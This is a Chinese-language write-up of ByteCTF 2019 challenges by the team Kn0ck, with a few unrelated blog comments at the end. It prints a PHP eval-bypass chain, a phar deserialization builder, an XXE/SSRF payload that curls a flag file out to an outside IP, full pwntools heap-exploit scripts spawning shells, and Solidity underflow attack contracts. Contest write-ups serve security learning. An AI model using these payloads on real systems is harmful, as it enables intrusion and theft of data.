ByteCTF 2019 WriteUp Kn0ck
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boring_code | solved | z3r0yu
根据hint可以得知，flag在/index.php，/code/有提示源码。
然后分析源码就可以了。
首先分析功能，他会将url中读取的信息，来传给eval执行。典型的代码执行漏洞。接下来我们继续去看他的拦截。进而bypass。
- url验证，要求host必须为baidu.com结尾。
- 正则对请求得到的代码进行匹配，要求格式类似：a()，a(b())等
- 对一些常见的关键字进行拦截。
Bypass 1、
没找到办法。应该是ssrf中的一种绕过方式，但是奈何自己太菜。
不会、此时只好氪金 —> http://sale.bytebaidu.com。
前排出售域名：bytebadu.com —> 太贵了，养不起、
一键氪金完成、第一个bypass绕过完成。
Bypass 2、3、
此时要求我们只能函数调函数。所以想到之前XCTF-Final的那个签到题。找一个可以传数组的危险函数。
这里也适用，找一个 1. 名字只存在字母的函数，2.参数值为1或者0。
// 显示所有函数 <?php var_dump(get_defined_functions()); // 然后通过sublime的手动处理，以及正则替换，匹配出仅存在字母的函数。 // " [ -replace-> "换行[ <--- 格式化字符，使每行一个函数 // .+".+[_0-9].+"换行 -replace-> 空 <--- 删除函数名中存在0-9以及斜线的函数
此时经过处理，还剩440个函数。
通过分析，可以发现，整题逻辑就是我们要构造形如 a(b(c())); 的函数去实现代码执行，光看这个，可以看出来，我们最中心的的c函数，其参数值必须为0。所以可以先fuzz一下。
最后大概可以发现(对，就是迷迷糊糊发现)， phpversion ， time 这两个比较有用。
然后就想办法去调用吧。首先echo可以用。其次已知flag在index.php中。可以找一些读文件的函数找到了readfile。
其次构造文件名 index.php ，显然不合理，太难了。
最终发现一堆数学函数，以及chr，。
构造第一步
<? // 读取当前目录下文件内容，chr(46)为点 echo(readfile(end(scandir(chr(46))))); // 经过漫长的测试(写循环fuzz就行、).... echo(readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))); // 然而，突然发现code和flag不在一个目录下还需要切换目录 // 历经千辛万苦，构造出如下.. next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); // 然而突然又发现，scandir确实能获取到上级目录了。 // 但是readfile需要传入一个路径啊，scandir最终获取到的是文件名.... // 然后又是心塞历程，最后想到通过chdir来切换目录，然后再读取。 // 但又考虑到chdir返回的值是1，我们还需要通过1，再来构造个.进而去得到index.php // 此时，机智可爱的队友登场....localtime(time())会返回个时间数组，我们将秒取出来就可以了。 // 并且，time函数可以随便传值。 // 按照时间，返回0-60内的一个数。 pos(localtime(time())); // 切换目录为上级目录，并返回一个0-60内的数 pos(localtime(time(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))); // 将46替换为上行语句即可 echo(readfile(end(scandir(chr(46)))));
最终payload如下：
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
p.s.坑点：一定要在服务器上起个服务，来打印以上语句。不能把他作为文件传上去。默认读取下载文件，会在后面加一个空行。空行过不了正则…
最终采用burp发包即可，记得设置间隔，一秒一个包。
EzCMS | stuck | 5am3 z3r0yu
112.126.102.158:9999/www.zip
hash拓展长度攻击，登陆admin
username=admin
password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00adminadm1n
cookie[‘user’]=a7d55e3f23124e118cf53a64fab821ff
.htaccess被瞎写，有啥法子绕过么？ 应该没有办法
这题是个反序列化应该
bypass方式跟上次一样
php://filter/read=convert.base64-encode/resource=phar://./z.phar
mime_content_type
跟上次一样可以触发
<?php
class File{
public $filename;
public $filepath;
public $checker;
}
class Admin{
public $size;
public $checker=1;
public $file_tmp="";
public $filename="z.txt";
public $upload_dir="sandbox/cc9d4028d80b7d9c2242cf5fc8cb25f2";
public $content_check=1;
}
$o = new File();
$o->checker=new Admin();
// $o->checker->file_tmp=".htaccess";
// $o->checker->filename="z.txt";
// $o->checker->upload_dir='./sandbox/';
$o->checker->content_check=new Admin();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
触发方法
/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/read=convert.base64-encode/resource=phar://./sandbox/cc9d4028d80b7d9c2242cf5fc8cb25f2/9c7f4a2fbf2dd3dfb7051727a644d99f.phar/test
到此为止不知道怎么getshell或者任意文件读取
RSS | solved | 5am3 z3r0yu
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>先知安全技术社区</title>
<link>http://xz.aliyun.com/forum/</link>
<description>先知安全技术社区</description>
<atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
<language>zh-hans</language>
<lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>
<item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query实现远程DDE执行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>
<item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
</channel>
</rss>
爆破目录
http://112.126.96.50:9999/file/
http://112.126.96.50:9999/classes/
http://112.126.96.50:9999/static/
http://112.126.96.50:9999/controllers/读取相关文件，之后构造exp如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "http://localhost/rss_in_order?rss_url=http%3a%2f%2f47.90.204.28%3a2233%2ffile.xmlℴ=description%2c%22c%22)%3b%7dsystem(%22curl+http%3a%2f%2f47.90.204.28%3a2233%2f%60cat%20%2fflag_eb8ba2eb07702e69963a7d6ab8669134%20%7c%20base64%60%22)%3b%2f%2f">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>先知安全技术社区</title>
<link>http://xz.aliyun.com/forum/</link>
<description>先知安全技术社区</description>
<atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
<language>zh-hans</language>
<lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>
<item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query实现远程DDE执行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>
<item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
</channel>
</rss>
PWN
mheap | stuck |
notefive | solved |
off by one漏洞，没有fastbin，构造overlap，首先利用unsorted bin attack攻击global_max_fast，利用两个相同地址fastbin数组溢出攻击两次stdout造成泄露，最后一次攻击stdout vtable，将其改为heap地址，在heap地址中提前布置好one_gadget
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
debugg = 0
logg = 0
ctx.binary = './notefive'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0x202060}
#ctx.breakpoints = [0x1234, 0x5678]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode childnc")
while True:
try:
if debugg:
rs()
else:
ctx.remote = ('112.126.103.195', 9999)
rs(method = 'remote')
'''
if (ctx.bases.libc + 0x3c67f8) & 0xffff != 0x87f8:
ctx.close()
continue
'''
if logg:
context.log_level = 'debug'
def choice(aid):
sla('choice>> ',aid)
def add(aid,asize):
choice(1)
sla('idx: ',aid)
sla('size: ',asize)
def edit(aid,acon):
choice(2)
sla('idx: ',aid)
sa('content: ',acon)
def free(aid):
choice(3)
sla('idx: ',aid)
add(0,0x108)
add(1,0x400)
add(2,0x108)
add(3,0x108)
for i in range(4):
add(4,0x400)
add(4,0xb0)
add(4,0x400)
edit(4,(p64(0)+p64(0x21))*40+'n')
edit(1,'x00'*0x3f0+p64(0x400)+'n')
free(1)
edit(0,'x00'*0x109)
add(1,0x108)
add(4,0x2e8)
free(1)
free(2)
add(1,0x118)
add(2,0x98)
add(3,0x358)
free(1)
edit(2,'x00'*0x90+p64(0x1c0)+'x60')
free(3)
add(1,0x118)
add(3,0x98)
global_max_fast = 0x87f8
write_base_offset = 0x1651
stdout_vtable_offset = 0x17c1
#ctx.debug()
#raw_input()
payload = p64(0)+p64(write_base_offset)
payload = payload.ljust(0xa0,'x00')
payload += p64(0)+p64(0x361)
payload += p64(0)+p16(global_max_fast-0x10)
edit(4,payload+'n')
add(0,0x358)
free(2)
sl(2)
sleep(0.1)
sl(4)
sleep(0.1)
sl(p64(0)+p64(write_base_offset-0x20))
sleep(0.1)
sl(3)
sleep(0.1)
sl(3)
data = ru('x7f',drop=False)
libc_base = uu64(data[-6:])
ru('exit')
libc_base -= 0x3c56a3
log.success("libc_base = %s"%hex(libc_base))
libc = ctx.libc
one = libc_base + 0xf1147
edit(0,p64(one)*8+'n') #fake table+0x38
edit(4,'x00'*0xa8+p64(stdout_vtable_offset)+'n')
free(0)
#ctx.debug()
irt()
except KeyboardInterrupt:
exit()
except EOFError:
continue
except:
if ctx.io:
ctx.close()
vip | solved |
首先泄露heap和libc地址，然后爆破修改tcache的fd到0x4040e0，然后直接攻击free hook即可。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
debugg = 0
logg = 0
ctx.binary = './vip'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0x404100}
#ctx.breakpoints = [0x1234, 0x5678]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode childnc")
if debugg:
rs()
else:
ctx.remote = ('112.126.103.14', 9999)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def choice(idx,aid):
sla('choice: ',aid)
sla('Index: ',idx)
def add(aid):
choice(aid,1)
def show(aid):
choice(aid,2)
def free(aid):
choice(aid,3)
def edit(aid,asize,acon=None):
choice(aid,4)
sla('Size: ',asize)
ru('Content: ')
if acon != None:
s(acon)
def triger(aid):
choice(aid,4)
sla('Size: ','0'*0x400)
for i in range(10):
add(i)
for i in range(7):
free(i)
add(6)
show(6)
heap = uu64(ru('n'))
log.success("heap = %s"%hex(heap))
if(len(p32(heap).replace('x00','')) > 3):
log.error("can't exploit")
ctx.close()
exit()
free(7)
free(8)
triger(9)
for i in range(7):
add(i)
add(7)
show(7)
libc_base = uu64(r(6)) - 0x3ebd50 + 0x60
log.success("libc_base = %s"%hex(libc_base))
add(8)
free(0)
free(1)
while True:
edit(2,0x63)
show(2)
data = ru('Done!')[:-1]
#print(hex(len(data)))
if len(data) != 0x63:
continue
data = uu32(data[-3:])
log.success("data = %s"%hex(data))
if (data >> 16) == 0x40:
break
while True:
edit(2,0x62)
show(2)
data = ru('Done!')[:-1]
#print(hex(len(data)))
if len(data) != 0x63:
continue
data = uu32(data[-3:])
log.success("data = %s"%hex(data))
if (data >> 8) == 0x4040:
break
while True:
edit(2,0x61)
show(2)
data = ru('Done!')[:-1]
#print(hex(len(data)))
if len(data) != 0x63:
continue
data = uu32(data[-3:])
log.success("data = %s"%hex(data))
if data == 0x4040E0:
break
add(1)
add(0)
edit(0,1)
free(2)
free(3)
libc = ctx.libc
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
payload = 'x00'*0x60
payload += p64(free_hook)
edit(4,len(payload),payload)
add(3)
edit(3,8,'/bin/shx00')
add(2)
edit(2,8,p64(system))
#free(3)
#ctx.debug()
irt()
mulnote | solved |
水题，free之后有10秒才清空堆指针，乱搞
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
debugg = 0
logg = 0
ctx.binary = './mulnote'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0x202020}
#ctx.breakpoints = [0x1234, 0x5678]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode childnc")
if debugg:
rs()
else:
ctx.remote = ('112.126.101.96', 9999)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def choice(achar):
sla('>',achar)
def add(asize,acon):
choice('C')
sla('size>',asize)
sa('note>',acon)
def show():
choice('S')
def free(aid):
choice('R')
sla('index>',aid)
def edit(aid,acon):
choice('E')
sla('index>',aid)
sa('new note>',acon)
add(0x100,'0')
add(0x10,'1')
free(0)
add(0x100,'A')
show()
ru('[0]:n')
libc_base = uu64(r(6)) - 0x3c4b41
log.success("libc_base = %s"%hex(libc_base))
add(0x60,'3')
add(0x60,'4')
free(3)
free(4)
free(3)
libc = ctx.libc
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one = libc_base + 0x4526a
add(0x60,p64(malloc_hook-0x23)) #5
add(0x60,'6')
add(0x60,'7')
add(0x60,'x00'*0x13+p64(one)) #8
sla('>','C')
sla('size>',1)
#ctx.debug()
irt()
ezarch | solved |
题目stack大小为4096，但是判断ebp时使用memory size来判断，远大于4096，造成栈溢出，修改bss上stack地址，造成任意地址读写，将malloc改成one gadget
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
debugg = 0
logg = 0
ctx.binary = './ezarch'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'stack':0x2020C0,'mem':0x202078}
ctx.breakpoints = [0x189F,0x152F,0xEC0]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode childnc")
if debugg:
rs()
else:
ctx.remote = ('112.126.102.73', 9999)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def setmem(memsize,mem,eip,esp,ebp):
sla('[E]xitn>','M')
sla('Memory size>',memsize)
sla('Inited size>',len(mem))
sa(')n',mem)
sla('eip>',eip)
sla('esp>',esp)
sla('ebp>',ebp)
def set_reg(aid,num):
return 'x03'+'x10'+p32(aid)+p32(num)
def set_ebp(num):
return 'x03'+'x10'+p32(0x11)+p32(num)
def set_esp(num):
return 'x03'+'x10'+p32(0x10)+p32(num)
def write_ebp(num):
return 'x03'+'x12'+p32(0x11)+p32(num)
def read_ebp(regid):
return 'x03'+'x20'+p32(regid)+p32(0x11)
def sub_reg(regid,num):
return 'x02'+'x10'+p32(regid)+p32(num)
def mov_ebp_reg(regid):
return 'x03'+'x00'+p32(0x11)+p32(regid)
def mov_ebpP_reg(regid):
return 'x03'+'x02'+p32(0x11)+p32(regid)
payload = ''
payload += set_ebp(0x1008)
payload += read_ebp(0) #reg0
payload += sub_reg(0,0x78) #got malloc
payload += mov_ebpP_reg(0)
payload += set_ebp(0)
payload += read_ebp(1) #reg1
payload += sub_reg(1,0x47d4e)
payload += mov_ebpP_reg(1)
setmem(0x2000,payload,0,0,0)
sla('>','R')
sla('>','M')
sla('size>',1)
#ctx.debug()
irt()
MISC
betgame | solved |
和题目交互30次，类似石头剪刀布，要求全胜，每次开始题目会宣布自己下回合出什么，实际出的会相对有个偏移，然后测试发现偏移是固定的，这样其实每次交互都是可预测的，脚本如下：
from pwn import *
order = []
#order = [0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1, 0, 2, 1]
bet = ['j', 's', 'b']
def trybet():
t = remote('112.125.25.81', 9999)
for i in range(len(order)):
start = t.recvline()
you = start[-2:-1]
me = bet[(stoi(you)+order[i])%3]
t.sendline(me)
check = t.recvline()
print check
try :
print t.recvline()
except EOFError:
pass
t.close()
return check
def stoi(a):
if a == 'j':
return 0
if a == 's':
return 1
if a == 'b':
return 2
for i in range(30):
for j in range(3):
order.append(j)
check = trybet()
if 'you' in check:
print order
break
else:
order.pop(-1)
bet | solved |
主要solidity好多语法需要摸索，题目本身不难，想办法让数据下溢就好了，另外调用getflag函数卡了好久，一个是目标合约会往发送合约转钱，要设个可收钱的反馈函数，另一个间接调用不懂为啥总是掉参数,贴下getflag的合约：
pragma solidity ^0.4.23;
contract hack {
address target = 0x30D0a604D8c90064a0a3cA4BeEEA177EfF3e9bCd;
constructor()public payable {
target = 0x30D0a604D8c90064a0a3cA4BeEEA177EfF3e9bCd;
}
event log(bytes4);
function () payable {
emit log(1);
}
function setvar1(uint aa) public returns (bool) {
bytes4 method = 0xf98b23c9;
return target.call(method,aa);
}
function mapping3(address _arg0) public view {
bytes4 method = 0x6956604e;
target.call(method,_arg0);
}
function setplus2(uint aa) public returns (bool) {
bytes4 method = 0xad17b493;
return target.call(method,aa);
}
function guessvar1(uint aa) public returns (bool) {
bytes4 method = 0x1727bb94;
return target.call(method,aa);
}
function getprofit() public {
bytes4 method = 0x66d16cc3;
target.call(method);
}
function Bet() public returns (bool) {
bytes4 methodId = bytes4(keccak256("Bet()"));
return target.call(methodId);
}
function flag(string email) public returns (bool) {
bytes4 methodId = bytes4(keccak256("payforflag(string)"));
log(methodId);
//bytes4 methodId = 0x6bc344bc;
//return target.call(methodId,email);
return target.call(0x6bc344bc,0x20,0x20,email);
}
function getflag(string email) public returns (bool) {
Bet();
flag(email);
}
function hackk() public{
getprofit();
plus();
guessvar1(122);
setplus2(1);
}
function plus()public {
Bet();
setvar1(123);
guessvar1(123);
}
function kill() {
selfdestruct(0xc6420e40E0e1e21b5480233E51E11c626a011ba0);
}
}
jigsaw | solved |
题目给了一堆图片，拼起来就是flag，是个月厨
hf_ | solved |
题目和上题类似，也是想办法下溢数据，合约如下：
pragma solidity ^0.4.23;
contract hackhf {
address target = 0x62f1173e0fb4d481114d389dc8e0dea65e942735;
constructor()public payable {
target = 0x62f1173e0fb4d481114d389dc8e0dea65e942735;
}
event log(bytes4);
function () payable {
emit log(1);
}
function trans(address aa,uint bb) public returns (bool) {
bytes4 method = 0x0f77e47d;
return target.call(method,aa,bb);
}
function setvar1(address aa) public payable {
bytes4 method = 0xbf1912bc;
target.call.value(2000000000000000000 wei)(method,aa);
}
function hack(address bb,string email,uint cc) public payable{
getprofit();
address aa = address(this);
setvar1(aa);
trans(bb,cc);
flag(email);
}
function getprofit() public {
bytes4 method = 0x66d16cc3;
target.call(method);
}
function flag(string email) public returns (bool) {
bytes4 methodId = bytes4(keccak256("payforflag(string)"));
log(methodId);
//bytes4 methodId = 0x6bc344bc;
//return target.call(methodId,email);
return target.call(0x6bc344bc,0x20,0x20,email);
}
function kill() {
selfdestruct(0xc6420e40E0e1e21b5480233E51E11c626a011ba0);
}
}
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文章和留言都翻到11页了 没有OOM
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朋友，翻页到11页，及以后，会出现OOM，无法访问
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搞个gitee的项目
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版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
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